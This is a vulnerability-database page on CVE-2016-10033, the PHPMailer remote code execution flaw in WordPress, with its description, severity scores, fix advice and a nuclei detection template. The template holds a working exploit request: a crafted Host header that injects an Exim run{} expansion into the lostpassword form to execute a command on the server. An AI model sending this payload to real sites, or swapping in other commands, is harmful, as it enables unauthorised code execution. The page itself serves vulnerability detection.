HexBrain

Browse / CVEs / CVE-2016-10033

CVE-2016-10033· phpmailer project / phpmailer· CWE-88

WordPress PHPMailer < 5.2.18 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-07-07; known to be used by ransomware.

criticalseverity
9.8CVSS score
99.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website.

Fix

Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.

How to confirm it

Send: GET /?author=1 ; POST /wp-login.php?action=lostpassword
Positive when: contains in header "wp-login.php?checkemail=confirm" AND status 302

Run it with nuclei: nuclei -id CVE-2016-10033 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2016-10033

info:
  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website.
  remediation: |
    Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
  reference:
    - https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10033
    - https://www.exploit-db.com/exploits/40970/
    - https://www.exploit-db.com/exploits/40968/
    - http://seclists.org/fulldisclosure/2016/Dec/78
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10033
    cwe-id: CWE-88
    epss-score: 0.99714
    epss-percentile: 0.99952
    cpe: cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: phpmailer_project
    product: phpmailer
  tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project,kev,vkev,vuln

http:
  - raw:
      - |+
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

      - |+
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - wp-login.php?checkemail=confirm

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from